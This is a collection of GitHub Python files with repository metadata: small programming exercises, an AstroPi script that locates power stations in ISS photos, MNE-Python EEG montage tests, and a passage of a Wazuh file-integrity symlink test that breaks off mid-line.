+{"seq_id":"24711424383","text":"#24 hour clock format.\ndef Angle(hh,mm):\n    hh=hh%12\n    hours=(hh*360)//12+(mm*360)//(12*60)\n    minutes=(mm*360)//(60)\n    angle=abs(hours-minutes)\n    if angle>180:\n        angle=360-angle\n    return angle\n    \n    \nif __name__=='__main__':\n    hh=int(input(\"hour:\"))\n    mm=int(input(\"minute:\"))\n    print(Angle(hh,mm))","repo_name":"PrinceNihal/python","sub_path":"python.py","file_name":"python.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28849462224","text":"X = int(input())\nsosu = True\nif X == 2:\n    print(2)\nelse:\n    while(sosu):\n        for i in range(2,X):\n            if X%i == 0:\n                break\n            if i == X-1:\n                sosu = False\n        if sosu == False: break\n        X += 1\n\n    print(X)\n","repo_name":"kentahoriuchi/Atcorder","sub_path":"ABC149/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6045232013","text":"from PIL import Image, ImageChops, ImageDraw\r\nimport PIL.ExifTags\r\nimport numpy\r\n\r\nfrom pathlib import Path\r\n\r\ndef read_file(file_name):\r\n    \"\"\"\"\r\n    This function reads the database of power stations from the file supplied and returns a 2d list of power stations\r\n    :param file_name: The name of te csv file to read\r\n    :type contents: 2d list\r\n    :returns: 2d list of power stations\r\n    \"\"\"\r\n    contents = []  #will hold the contents of the file\r\n    in_file = open(file_name, \"r\",encoding=\"utf8\")  #open the file\r\n    for line in in_file:\r\n        line = line.strip()\r\n        entry = line.split(\",\")  #split each line at a comma\r\n        contents.append(entry)  #add to list\r\n    in_file.close()\r\n    return contents\r\ndef crop_to_circle(im):\r\n    bigsize = (im.size[0] * 3, im.size[1] * 3)\r\n    #print(bigsize)\r\n    mask = Image.new('L', bigsize, 0)\r\n    #ImageDraw.Draw(mask).ellipse((2860, 800,11290,9040) , fill=255)\r\n    ImageDraw.Draw(mask).ellipse((2740, 830,11070,9040) , fill=255)\r\n    mask = mask.resize(im.size, Image.ANTIALIAS)\r\n    mask = ImageChops.darker(mask, im.split()[-1])\r\n    im.putalpha(mask)\r\n\r\npower_stations = read_file(\"solarandwind2.csv\")\r\n# iss logs: 0: date time, 1:lat, 2: long 3: elevation of iss, 4: compass heading, 5:red, 6: green, 7: blue\r\n\r\nISS_logs = read_file(\"updatedISS.csv\")\r\ndata_hits=[]\r\n#loop through each of you logs, find the long and lat\r\nfor log in ISS_logs:\r\n    #try:\r\n        long = float(log[2])\r\n        lat = float(log[1])\r\n        #  loop through each of the power stations until you find one greater then long -4\r\n        #    loop through until power station long > log+4\r\n        im = Image.open(str(log[8]))\r\n        im_exif= im.info['exif'] #im.getexif()\r\n        im=im.convert('RGBA')\r\n        im = im.rotate(-(float(log[4])))\r\n        im_exif= im.getexif()\r\n        crop_to_circle(im)\r\n        #image_array = numpy.asarray(im)\r\n        print(\"File :\", str(log[8]))\r\n        for farm in power_stations:\r\n            #print(\"step\")\r\n            if float(farm[6]) > (long - 4) and float(farm[6]) < (long + 4):\r\n                #print(\"long\")\r\n                #      if the lat of power station > lat -4 and < lat+4\r\n                if float(farm[5]) > (lat - 4) and float(farm[5]) < (lat + 4):\r\n                  #print(\"lat\")\r\n                  # solar farm is in image\r\n                  # lat, long give the centre of the image and we know how\r\n              \r\n                  change_in_long=long-float(farm[6])\r\n                  change_in_lat=lat-float(farm[5])\r\n                  # big each pixel is convert the difference between the lat long\r\n                  # (of the picture)\r\n                  # and the lat long of the power station into an offset in pixels\r\n                  long_offset=change_in_long*128\r\n                  lat_offset=change_in_lat*128\r\n                  # from this we can work out the coordinate of the power station in \r\n                  # the image and check it for colour\r\n                  farm_x= 2028+float(long_offset) #find x coordinate\r\n                  farm_y= 1520-float(lat_offset) #find y coordinate\r\n                  farm_colour=im.getpixel((farm_x,farm_y)) #get the colour\r\n                  data_line=[farm[0], farm[3],farm[5],farm[6],lat,long, farm_x, farm_y, farm_colour]\r\n                  data_hits.append(data_line)\r\n                  print(data_line)\r\n                  draw=ImageDraw.Draw(im)\r\n                  draw.ellipse((farm_x-20,farm_y-20,farm_x+20, farm_y+20),outline=\"red\")\r\n                  try:\r\n                    im.save('croppedr\\\\'+str(log[8])[7:-3]+\"png\") #, exif=im.info[\"exif\"])#im_exif)\r\n                  except:\r\n                      print(\"failed to save\")\r\n    #        copy the image for processing\r\n    #except:\r\n    #    print(\"File not found\", str(log[8]))\r\n#show the data\r\nmyfile=open(\"matchinfo.csv\",\"w\")\r\nfor line in data_hits:\r\n  myfile.write(line[0] +\",\"+line[1]+\",\"+line[2]+\",\"+line[3]+\",\"+line[4]+\",\"+line[5]+\",\"+line[6]+\",\"+line[7]+\",\"+line[8][0]+\",\"+line[8][1]+\",\"+line[8][2])\r\ndirectory = 'images'\r\nmyfile.close()\r\n","repo_name":"MrPFletcher/AstroPi-Up-and-Atom","sub_path":"Process results/mask.py","file_name":"mask.py","file_ext":"py","file_size_in_byte":4089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"31792287251","text":"\"\"\"\n다음의 결과와 같이 어떤 한 양의 정수를 입력하여 그 숫자에 0~9가 몇 번 사용되었는지 표시하십시오.\n\"\"\"\n\nn = input()\nn = list(n)\ncount = [0 for x in range(10)]\n\nfor i in n:\n    count[int(i)] += 1\n\narr = []\nprint('0 1 2 3 4 5 6 7 8 9')\nfor i in range(len(count)):\n    if i == len(count)-1:\n        print(count[i])\n    else:\n        print(count[i], end=' ')","repo_name":"sangm1n/problem-solving","sub_path":"SWEA/Beginner/6249.py","file_name":"6249.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73034855093","text":"# Author: Teon Brooks <teon.brooks@gmail.com>\n#\n# License: BSD (3-clause)\n\nimport os.path as op\nimport warnings\n\nfrom nose.tools import assert_equal, assert_true, assert_raises\n\nimport numpy as np\nfrom scipy.io import savemat\n\nfrom numpy.testing import (assert_array_equal, assert_almost_equal,\n                           assert_allclose, assert_array_almost_equal,\n                           assert_array_less)\nfrom mne.tests.common import assert_dig_allclose\nfrom mne.channels.montage import read_montage, _set_montage, read_dig_montage\nfrom mne.utils import _TempDir, run_tests_if_main\nfrom mne import create_info, EvokedArray, read_evokeds\nfrom mne.coreg import fit_matched_points\nfrom mne.transforms import apply_trans, get_ras_to_neuromag_trans\nfrom mne.io.constants import FIFF\nfrom mne.io.meas_info import _read_dig_points\nfrom mne.io.kit import read_mrk\nfrom mne.io import read_raw_brainvision, read_raw_egi, Raw\n\nfrom mne.datasets import testing\n\ndata_path = testing.data_path(download=False)\nfif_dig_montage_fname = op.join(data_path, 'montage', 'eeganes07.fif')\negi_dig_montage_fname = op.join(data_path, 'montage', 'coordinates.xml')\negi_raw_fname = op.join(data_path, 'montage', 'egi_dig_test.raw')\negi_fif_fname = op.join(data_path, 'montage', 'egi_dig_raw.fif')\nlocs_montage_fname = op.join(data_path, 'EEGLAB', 'test_chans.locs')\nevoked_fname = op.join(data_path, 'montage', 'level2_raw-ave.fif')\n\nio_dir = op.join(op.dirname(__file__), '..', '..', 'io')\nkit_dir = op.join(io_dir, 'kit', 'tests', 'data')\nelp = op.join(kit_dir, 'test_elp.txt')\nhsp = op.join(kit_dir, 'test_hsp.txt')\nhpi = op.join(kit_dir, 'test_mrk.sqd')\nbv_fname = op.join(io_dir, 'brainvision', 'tests', 'data', 'test.vhdr')\n\n\ndef test_montage():\n    \"\"\"Test making montages.\"\"\"\n    tempdir = _TempDir()\n    inputs = dict(\n        sfp='FidNz 0       9.071585155     -2.359754454\\n'\n            'FidT9 -6.711765       0.040402876     -3.251600355\\n'\n            'very_very_very_long_name -5.831241498 -4.494821698  4.955347697\\n'\n            'Cz 0       0       8.899186843',\n        csd='// MatLab   Sphere coordinates [degrees]         Cartesian coordinates\\n'  # noqa: E501\n            '// Label       Theta       Phi    Radius         X         Y         Z       off sphere surface\\n'  # noqa: E501\n            'E1      37.700     -14.000       1.000    0.7677    0.5934   -0.2419  -0.00000000000000011\\n'  # noqa: E501\n            'E3      51.700      11.000       1.000    0.6084    0.7704    0.1908   0.00000000000000000\\n'  # noqa: E501\n            'E31      90.000     -11.000       1.000    0.0000    0.9816   -0.1908   0.00000000000000000\\n'  # noqa: E501\n            'E61     158.000     -17.200       1.000   -0.8857    0.3579   -0.2957  -0.00000000000000022',  # noqa: E501\n        mm_elc='# ASA electrode file\\nReferenceLabel  avg\\nUnitPosition    mm\\n'  # noqa:E501\n               'NumberPositions=    68\\n'\n               'Positions\\n'\n               '-86.0761 -19.9897 -47.9860\\n'\n               '85.7939 -20.0093 -48.0310\\n'\n               '0.0083 86.8110 -39.9830\\n'\n               '-86.0761 -24.9897 -67.9860\\n'\n               'Labels\\nLPA\\nRPA\\nNz\\nDummy\\n',\n        m_elc='# ASA electrode file\\nReferenceLabel  avg\\nUnitPosition    m\\n'\n              'NumberPositions=    68\\nPositions\\n-.0860761 -.0199897 -.0479860\\n'  # noqa:E501\n              '.0857939 -.0200093 -.0480310\\n.0000083 .00868110 -.0399830\\n'\n              '.08 -.02 -.04\\n'\n              'Labels\\nLPA\\nRPA\\nNz\\nDummy\\n',\n        txt='Site  Theta  Phi\\n'\n            'Fp1  -92    -72\\n'\n            'Fp2   92     72\\n'\n            'very_very_very_long_name       -92     72\\n'\n            'O2        92    -90\\n',\n        elp='346\\n'\n            'EEG\\t      F3\\t -62.027\\t -50.053\\t      85\\n'\n            'EEG\\t      Fz\\t  45.608\\t      90\\t      85\\n'\n            'EEG\\t      F4\\t   62.01\\t  50.103\\t      85\\n'\n            'EEG\\t      FCz\\t   68.01\\t  58.103\\t      85\\n',\n        hpts='eeg Fp1 -95.0 -3. -3.\\n'\n             'eeg AF7 -1 -1 -3\\n'\n             'eeg A3 -2 -2 2\\n'\n             'eeg A 0 0 0',\n    )\n    # Get actual positions and save them for checking\n    # csd comes from the string above, all others come from commit 2fa35d4\n    poss = dict(\n        sfp=[[0.0, 9.07159, -2.35975], [-6.71176, 0.0404, -3.2516],\n             [-5.83124, -4.49482, 4.95535], [0.0, 0.0, 8.89919]],\n        mm_elc=[[-0.08608, -0.01999, -0.04799], [0.08579, -0.02001, -0.04803],\n                [1e-05, 0.08681, -0.03998], [-0.08608, -0.02499, -0.06799]],\n        m_elc=[[-0.08608, -0.01999, -0.04799], [0.08579, -0.02001, -0.04803],\n               [1e-05, 0.00868, -0.03998], [0.08, -0.02, -0.04]],\n        txt=[[-26.25044, 80.79056, -2.96646], [26.25044, 80.79056, -2.96646],\n             [-26.25044, -80.79056, -2.96646], [0.0, -84.94822, -2.96646]],\n        elp=[[-48.20043, 57.55106, 39.86971], [0.0, 60.73848, 59.4629],\n             [48.1426, 57.58403, 39.89198], [41.64599, 66.91489, 31.8278]],\n        hpts=[[-95, -3, -3], [-1, -1., -3.], [-2, -2, 2.], [0, 0, 0]],\n    )\n    for key, text in inputs.items():\n        kind = key.split('_')[-1]\n        fname = op.join(tempdir, 'test.' + kind)\n        with open(fname, 'w') as fid:\n            fid.write(text)\n        montage = read_montage(fname)\n        if kind in ('sfp', 'txt'):\n            assert_true('very_very_very_long_name' in montage.ch_names)\n        assert_equal(len(montage.ch_names), 4)\n        assert_equal(len(montage.ch_names), len(montage.pos))\n        assert_equal(montage.pos.shape, (4, 3))\n        assert_equal(montage.kind, 'test')\n        if kind == 'csd':\n            dtype = [('label', 'S4'), ('theta', 'f8'), ('phi', 'f8'),\n                     ('radius', 'f8'), ('x', 'f8'), ('y', 'f8'), ('z', 'f8'),\n                     ('off_sph', 'f8')]\n            try:\n                table = np.loadtxt(fname, skip_header=2, dtype=dtype)\n            except TypeError:\n                table = np.loadtxt(fname, skiprows=2, dtype=dtype)\n            poss['csd'] = np.c_[table['x'], table['y'], table['z']]\n        if kind == 'elc':\n            # Make sure points are reasonable distance from geometric centroid\n            centroid = np.sum(montage.pos, axis=0) / montage.pos.shape[0]\n            distance_from_centroid = np.apply_along_axis(\n                np.linalg.norm, 1,\n                montage.pos - centroid)\n            assert_array_less(distance_from_centroid, 0.2)\n            assert_array_less(0.01, distance_from_centroid)\n        assert_array_almost_equal(poss[key], montage.pos, 4, err_msg=key)\n\n    # Test reading in different letter case.\n    ch_names = [\"F3\", \"FZ\", \"F4\", \"FC3\", \"FCz\", \"FC4\", \"C3\", \"CZ\", \"C4\", \"CP3\",\n                \"CPZ\", \"CP4\", \"P3\", \"PZ\", \"P4\", \"O1\", \"OZ\", \"O2\"]\n    montage = read_montage('standard_1020', ch_names=ch_names)\n    assert_array_equal(ch_names, montage.ch_names)\n\n    # test transform\n    input_strs = [\"\"\"\n    eeg Fp1 -95.0 -31.0 -3.0\n    eeg AF7 -81 -59 -3\n    eeg AF3 -87 -41 28\n    cardinal 2 -91 0 -42\n    cardinal 1 0 -91 -42\n    cardinal 3 0 91 -42\n    \"\"\", \"\"\"\n    Fp1 -95.0 -31.0 -3.0\n    AF7 -81 -59 -3\n    AF3 -87 -41 28\n    nasion -91 0 -42\n    lpa 0 -91 -42\n    rpa 0 91 -42\n    \"\"\"]\n\n    all_fiducials = [['2', '1', '3'], ['nasion', 'lpa', 'rpa']]\n\n    kinds = ['test_fid.hpts',  'test_fid.sfp']\n\n    for kind, fiducials, input_str in zip(kinds, all_fiducials, input_strs):\n        fname = op.join(tempdir, kind)\n        with open(fname, 'w') as fid:\n            fid.write(input_str)\n        montage = read_montage(op.join(tempdir, kind), transform=True)\n\n        # check coordinate transformation\n        pos = np.array([-95.0, -31.0, -3.0])\n        nasion = np.array([-91, 0, -42])\n        lpa = np.array([0, -91, -42])\n        rpa = np.array([0, 91, -42])\n        fids = np.vstack((nasion, lpa, rpa))\n        trans = get_ras_to_neuromag_trans(fids[0], fids[1], fids[2])\n        pos = apply_trans(trans, pos)\n        assert_array_equal(montage.pos[0], pos)\n        idx = montage.ch_names.index(fiducials[0])\n        assert_array_equal(montage.pos[idx, [0, 2]], [0, 0])\n        idx = montage.ch_names.index(fiducials[1])\n        assert_array_equal(montage.pos[idx, [1, 2]], [0, 0])\n        idx = montage.ch_names.index(fiducials[2])\n        assert_array_equal(montage.pos[idx, [1, 2]], [0, 0])\n        pos = np.array([-95.0, -31.0, -3.0])\n        montage_fname = op.join(tempdir, kind)\n        montage = read_montage(montage_fname, unit='mm')\n        assert_array_equal(montage.pos[0], pos * 1e-3)\n\n        # test with last\n        info = create_info(montage.ch_names, 1e3,\n                           ['eeg'] * len(montage.ch_names))\n        _set_montage(info, montage)\n        pos2 = np.array([c['loc'][:3] for c in info['chs']])\n        assert_array_equal(pos2, montage.pos)\n        assert_equal(montage.ch_names, info['ch_names'])\n\n        info = create_info(\n            montage.ch_names, 1e3, ['eeg'] * len(montage.ch_names))\n\n        evoked = EvokedArray(\n            data=np.zeros((len(montage.ch_names), 1)), info=info, tmin=0)\n        evoked.set_montage(montage)\n        pos3 = np.array([c['loc'][:3] for c in evoked.info['chs']])\n        assert_array_equal(pos3, montage.pos)\n        assert_equal(montage.ch_names, evoked.info['ch_names'])\n\n        # Warning should be raised when some EEG are not specified in montage\n        with warnings.catch_warnings(record=True) as w:\n            info = create_info(montage.ch_names + ['foo', 'bar'], 1e3,\n                               ['eeg'] * (len(montage.ch_names) + 2))\n            _set_montage(info, montage)\n            assert_true(len(w) == 1)\n\n    # Channel names can be treated case insensitive\n    with warnings.catch_warnings(record=True) as w:\n        info = create_info(['FP1', 'af7', 'AF3'], 1e3, ['eeg'] * 3)\n        _set_montage(info, montage)\n        assert_true(len(w) == 0)\n\n    # Unless there is a collision in names\n    with warnings.catch_warnings(record=True) as w:\n        info = create_info(['FP1', 'Fp1', 'AF3'], 1e3, ['eeg'] * 3)\n        _set_montage(info, montage)\n        assert_true(len(w) == 1)\n    with warnings.catch_warnings(record=True) as w:\n        montage.ch_names = ['FP1', 'Fp1', 'AF3']\n        info = create_info(['fp1', 'AF3'], 1e3, ['eeg', 'eeg'])\n        _set_montage(info, montage)\n        assert_true(len(w) == 1)\n\n\n@testing.requires_testing_data\ndef test_read_locs():\n    \"\"\"Test reading EEGLAB locs.\"\"\"\n    pos = read_montage(locs_montage_fname).pos\n    expected = [[0., 9.99779165e-01, -2.10157875e-02],\n                [3.08738197e-01, 7.27341573e-01, -6.12907052e-01],\n                [-5.67059636e-01, 6.77066318e-01, 4.69067752e-01],\n                [0., 7.14575231e-01, 6.99558616e-01]]\n    assert_allclose(pos[:4], expected, atol=1e-7)\n\n\ndef test_read_dig_montage():\n    \"\"\"Test read_dig_montage\"\"\"\n    names = ['nasion', 'lpa', 'rpa', '1', '2', '3', '4', '5']\n    montage = read_dig_montage(hsp, hpi, elp, names, transform=False)\n    elp_points = _read_dig_points(elp)\n    hsp_points = _read_dig_points(hsp)\n    hpi_points = read_mrk(hpi)\n    assert_equal(montage.point_names, names)\n    assert_array_equal(montage.elp, elp_points)\n    assert_array_equal(montage.hsp, hsp_points)\n    assert_array_equal(montage.hpi, hpi_points)\n    assert_true(montage.dev_head_t is None)\n    montage = read_dig_montage(hsp, hpi, elp, names,\n                               transform=True, dev_head_t=True)\n    # check coordinate transformation\n    # nasion\n    assert_almost_equal(montage.nasion[0], 0)\n    assert_almost_equal(montage.nasion[2], 0)\n    # lpa and rpa\n    assert_allclose(montage.lpa[1:], 0, atol=1e-16)\n    assert_allclose(montage.rpa[1:], 0, atol=1e-16)\n    # device head transform\n    dev_head_t = fit_matched_points(tgt_pts=montage.elp,\n                                    src_pts=montage.hpi, out='trans')\n    assert_array_equal(montage.dev_head_t, dev_head_t)\n\n    # Digitizer as array\n    m2 = read_dig_montage(hsp_points, hpi_points, elp_points, names, unit='m')\n    assert_array_equal(m2.hsp, montage.hsp)\n    m3 = read_dig_montage(hsp_points * 1000, hpi_points, elp_points * 1000,\n                          names)\n    assert_allclose(m3.hsp, montage.hsp)\n\n    # test unit parameter and .mat support\n    tempdir = _TempDir()\n    mat_hsp = op.join(tempdir, 'test.mat')\n    savemat(mat_hsp, dict(Points=(1000 * hsp_points).T))\n    montage_cm = read_dig_montage(mat_hsp, hpi, elp, names, unit='cm')\n    assert_allclose(montage_cm.hsp, montage.hsp * 10.)\n    assert_allclose(montage_cm.elp, montage.elp * 10.)\n    assert_array_equal(montage_cm.hpi, montage.hpi)\n    assert_raises(ValueError, read_dig_montage, hsp, hpi, elp, names,\n                  unit='km')\n    # extra columns\n    extra_hsp = op.join(tempdir, 'test.txt')\n    with open(hsp, 'rb') as fin:\n        with open(extra_hsp, 'wb') as fout:\n            for line in fin:\n                if line.startswith(b'%'):\n                    fout.write(line)\n                else:\n                    # extra column\n                    fout.write(line.rstrip() + b' 0.0 0.0 0.0\\n')\n    with warnings.catch_warnings(record=True) as w:\n        montage_extra = read_dig_montage(extra_hsp, hpi, elp, names)\n    assert_true(len(w) == 1 and all('columns' in str(ww.message) for ww in w))\n    assert_allclose(montage_extra.hsp, montage.hsp)\n    assert_allclose(montage_extra.elp, montage.elp)\n\n\ndef test_set_dig_montage():\n    \"\"\"Test applying DigMontage to inst.\"\"\"\n    # Extensive testing of applying `dig` to info is done in test_meas_info\n    # with `test_make_dig_points`.\n    names = ['nasion', 'lpa', 'rpa', '1', '2', '3', '4', '5']\n    hsp_points = _read_dig_points(hsp)\n    elp_points = _read_dig_points(elp)\n    nasion, lpa, rpa = elp_points[:3]\n    nm_trans = get_ras_to_neuromag_trans(nasion, lpa, rpa)\n    elp_points = apply_trans(nm_trans, elp_points)\n    nasion, lpa, rpa = elp_points[:3]\n    hsp_points = apply_trans(nm_trans, hsp_points)\n\n    montage = read_dig_montage(hsp, hpi, elp, names, transform=True,\n                               dev_head_t=True)\n    temp_dir = _TempDir()\n    fname_temp = op.join(temp_dir, 'test.fif')\n    montage.save(fname_temp)\n    montage_read = read_dig_montage(fif=fname_temp)\n    for use_mon in (montage, montage_read):\n        info = create_info(['Test Ch'], 1e3, ['eeg'])\n        with warnings.catch_warnings(record=True) as w:  # test ch pos not set\n            _set_montage(info, use_mon)\n        assert_true(all('not set' in str(ww.message) for ww in w))\n        hs = np.array([p['r'] for i, p in enumerate(info['dig'])\n                       if p['kind'] == FIFF.FIFFV_POINT_EXTRA])\n        nasion_dig = np.array([p['r'] for p in info['dig']\n                               if all([p['ident'] == FIFF.FIFFV_POINT_NASION,\n                                       p['kind'] == FIFF.FIFFV_POINT_CARDINAL])\n                               ])\n        lpa_dig = np.array([p['r'] for p in info['dig']\n                            if all([p['ident'] == FIFF.FIFFV_POINT_LPA,\n                                    p['kind'] == FIFF.FIFFV_POINT_CARDINAL])])\n        rpa_dig = np.array([p['r'] for p in info['dig']\n                            if all([p['ident'] == FIFF.FIFFV_POINT_RPA,\n                                    p['kind'] == FIFF.FIFFV_POINT_CARDINAL])])\n        hpi_dig = np.array([p['r'] for p in info['dig']\n                            if p['kind'] == FIFF.FIFFV_POINT_HPI])\n        assert_allclose(hs, hsp_points, atol=1e-7)\n        assert_allclose(nasion_dig.ravel(), nasion, atol=1e-7)\n        assert_allclose(lpa_dig.ravel(), lpa, atol=1e-7)\n        assert_allclose(rpa_dig.ravel(), rpa, atol=1e-7)\n        assert_allclose(hpi_dig, elp_points[3:], atol=1e-7)\n\n\n@testing.requires_testing_data\ndef test_fif_dig_montage():\n    \"\"\"Test FIF dig montage support.\"\"\"\n    dig_montage = read_dig_montage(fif=fif_dig_montage_fname)\n\n    # test round-trip IO\n    temp_dir = _TempDir()\n    fname_temp = op.join(temp_dir, 'test.fif')\n    _check_roundtrip(dig_montage, fname_temp)\n\n    # Make a BrainVision file like the one the user would have had\n    with warnings.catch_warnings(record=True) as w:\n        raw_bv = read_raw_brainvision(bv_fname, preload=True)\n    assert_true(any('will be dropped' in str(ww.message) for ww in w))\n    raw_bv_2 = raw_bv.copy()\n    mapping = dict()\n    for ii, ch_name in enumerate(raw_bv.ch_names[:-1]):\n        mapping[ch_name] = 'EEG%03d' % (ii + 1,)\n    raw_bv.rename_channels(mapping)\n    for ii, ch_name in enumerate(raw_bv_2.ch_names[:-1]):\n        mapping[ch_name] = 'EEG%03d' % (ii + 33,)\n    raw_bv_2.rename_channels(mapping)\n    raw_bv.drop_channels(['STI 014'])\n    raw_bv.add_channels([raw_bv_2])\n\n    for ii in range(2):\n        if ii == 1:\n            dig_montage.transform_to_head()  # should have no meaningful effect\n\n        # Set the montage\n        raw_bv.set_montage(dig_montage)\n\n        # Check the result\n        evoked = read_evokeds(evoked_fname)[0]\n\n        assert_equal(len(raw_bv.ch_names), len(evoked.ch_names))\n        for ch_py, ch_c in zip(raw_bv.info['chs'], evoked.info['chs']):\n            assert_equal(ch_py['ch_name'],\n                         ch_c['ch_name'].replace('EEG ', 'EEG'))\n            # C actually says it's unknown, but it's not (?):\n            # assert_equal(ch_py['coord_frame'], ch_c['coord_frame'])\n            assert_equal(ch_py['coord_frame'], FIFF.FIFFV_COORD_HEAD)\n            assert_allclose(ch_py['loc'], ch_c['loc'], atol=1e-7)\n        assert_dig_allclose(raw_bv.info, evoked.info)\n\n    # Roundtrip of non-FIF start\n    names = ['nasion', 'lpa', 'rpa', '1', '2', '3', '4', '5']\n    montage = read_dig_montage(hsp, hpi, elp, names, transform=False)\n    assert_raises(RuntimeError, montage.save, fname_temp)  # must be head coord\n    montage = read_dig_montage(hsp, hpi, elp, names)\n    _check_roundtrip(montage, fname_temp)\n\n\n@testing.requires_testing_data\ndef test_egi_dig_montage():\n    \"\"\"Test EGI MFF XML dig montage support.\"\"\"\n    dig_montage = read_dig_montage(egi=egi_dig_montage_fname)\n\n    # # test round-trip IO\n    temp_dir = _TempDir()\n    fname_temp = op.join(temp_dir, 'egi_test.fif')\n    _check_roundtrip(dig_montage, fname_temp)\n\n    # Test coordinate transform\n    dig_montage.transform_to_head()\n    # nasion\n    assert_almost_equal(dig_montage.nasion[0], 0)\n    assert_almost_equal(dig_montage.nasion[2], 0)\n    # lpa and rpa\n    assert_allclose(dig_montage.lpa[1:], 0, atol=1e-16)\n    assert_allclose(dig_montage.rpa[1:], 0, atol=1e-16)\n\n    # Test accuracy and embedding within raw object\n    raw_egi = read_raw_egi(egi_raw_fname)\n    raw_egi.set_montage(dig_montage)\n    test_raw_egi = Raw(egi_fif_fname)\n\n    assert_equal(len(raw_egi.ch_names), len(test_raw_egi.ch_names))\n    for ch_raw, ch_test_raw in zip(raw_egi.info['chs'],\n                                   test_raw_egi.info['chs']):\n        assert_equal(ch_raw['ch_name'], ch_test_raw['ch_name'])\n        assert_equal(ch_raw['coord_frame'], FIFF.FIFFV_COORD_HEAD)\n        assert_allclose(ch_raw['loc'], ch_test_raw['loc'], atol=1e-7)\n    assert_dig_allclose(raw_egi.info, test_raw_egi.info)\n\n\ndef _check_roundtrip(montage, fname):\n    \"\"\"Check roundtrip writing.\"\"\"\n    assert_equal(montage.coord_frame, 'head')\n    montage.save(fname)\n    montage_read = read_dig_montage(fif=fname)\n    assert_equal(str(montage), str(montage_read))\n    for kind in ('elp', 'hsp', 'nasion', 'lpa', 'rpa'):\n        if getattr(montage, kind) is not None:\n            assert_allclose(getattr(montage, kind),\n                            getattr(montage_read, kind), err_msg=kind)\n    assert_equal(montage_read.coord_frame, 'head')\n\n\nrun_tests_if_main()\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/mne-tools_mne-python/mne-python-master/mne/channels/tests/test_montage.py","file_name":"test_montage.py","file_ext":"py","file_size_in_byte":19619,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"}
+{"seq_id":"18381485851","text":"import os\nfrom shutil import rmtree\n\nimport pytest\nimport wazuh_testing.fim as fim\n\nfrom test_fim.test_files.test_follow_symbolic_link.common import wait_for_symlink_check, symlink_interval, \\\n    testdir_link, testdir_target\nfrom wazuh_testing import global_parameters\n\nfrom wazuh_testing.tools import PREFIX\nfrom wazuh_testing.tools.configuration import load_wazuh_configurations, check_apply_test\nfrom wazuh_testing.tools.monitoring import FileMonitor\n\n# Marks\n\npytestmark = [pytest.mark.linux, pytest.mark.sunos5, pytest.mark.darwin, pytest.mark.tier(level=1)]\n\n# Variables\n\ntest_data_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'data')\nconfigurations_path = os.path.join(test_data_path, 'wazuh_conf.yaml')\nwazuh_log_monitor = FileMonitor(fim.LOG_FILE_PATH)\n\n# Configurations\n\nconf_params, conf_metadata = fim.generate_params(extra_params={'FOLLOW_MODE': 'yes'}, modes=['scheduled'])\nconfigurations = load_wazuh_configurations(configurations_path, __name__, params=conf_params, metadata=conf_metadata)\n\n\n# Fixtures\n\n@pytest.fixture(scope='module', params=configurations)\ndef get_configuration(request):\n    \"\"\"Get configurations from the module.\"\"\"\n    return request.param\n\n\n# Functions\n\ndef extra_configuration_before_yield():\n    \"\"\"Create files and symlinks\"\"\"\n    symlinkdir = testdir_link\n\n    os.makedirs(testdir_target, exist_ok=True, mode=0o777)\n    fim.create_file(fim.REGULAR, testdir_target, 'regular1')\n    fim.create_file(fim.SYMLINK, PREFIX, symlinkdir, target=testdir_target)\n    # Set symlink_scan_interval to a given value\n    fim.change_internal_options(param='syscheck.symlink_scan_interval', value=symlink_interval)\n\n\ndef extra_configuration_after_yield():\n    \"\"\"Set symlink_scan_interval to default value\"\"\"\n    rmtree(testdir_link, ignore_errors=True)\n    rmtree(testdir_target, ignore_errors=True)\n    fim.change_internal_options(param='syscheck.symlink_scan_interval', value=600)\n\n\n# Tests\n\n@pytest.mark.parametrize('tags_to_apply', [\n    {'replace_with_directory'},\n])\ndef test_symlink_to_dir_between_scans(tags_to_apply, get_configuration, configure_environment, restart_syscheckd,\n                                      wait_for_fim_start):\n    '''\n    description: Check if the 'wazuh-syscheckd' daemon detects events when a monitored symlink is replaced by\n                 a directory between scans, and the 'follow_symbolic_link' setting is used. For this purpose,\n                 the test will create a directory with some files and a 'symbolic link'. Then, it will remove\n                 the link and create a directory with the same path. Finally, it will wait until the next\n                 scheduled scan and verify that FIM events are generated by adding new files.\n\n    wazuh_min_version: 4.2.0\n\n    tier: 1\n\n    parameters:\n        - tags_to_apply:\n            type: set\n            brief: Run test if matches with a configuration identifier, skip otherwise.\n        - get_configuration:\n            type: fixture\n            brief: Get configurations from the module.\n        - configure_environment:\n            type: fixture\n            brief: Configure a custom environment for testing.\n        - restart_syscheckd:\n            type: fixture\n            brief: Clear the 'ossec.log' file and start a new monitor.\n        - wait_for_fim_start:\n            type: fixture\n            brief: Wait for realtime start, whodata start, or end of initial FIM scan.\n\n    assertions:\n        - Verify that FIM events are generated from a new directory when a monitored 'symbolic link'\n          is replaced by it, and the 'follow_symbolic_link' setting is used.\n\n    input_description: A test case (replace_with_directory) is contained in external YAML file (wazuh_conf.yaml)\n                       which includes configuration settings for the 'wazuh-syscheckd' daemon and, these are\n                       combined with the testing directories to be monitored defined in the common.py module.\n\n    expected_output:\n        - r'.*Sending FIM event: (.+)$' ('added' events)\n\n    tags:\n        - scheduled\n        - time_travel\n    '''\n    check_apply_test(tags_to_apply, get_configuration['tags'])\n    scheduled = get_configuration['metadata']['fim_mode'] == 'scheduled'\n    regular2 = 'regular2'\n\n    # Delete symbolic link and create a folder with the same name\n    os.remove(testdir_link)\n    os.makedirs(testdir_link, exist_ok=True, mode=0o777)\n    fim.create_file(fim.REGULAR, testdir_link, regular2)\n\n    # Wait for both audit and the symlink check to run\n    wait_for_symlink_check(wazuh_log_monitor)\n    fim.check_time_travel(scheduled, monitor=wazuh_log_monitor)\n\n    event = wazuh_log_monitor.start(timeout=global_parameters.default_timeout, 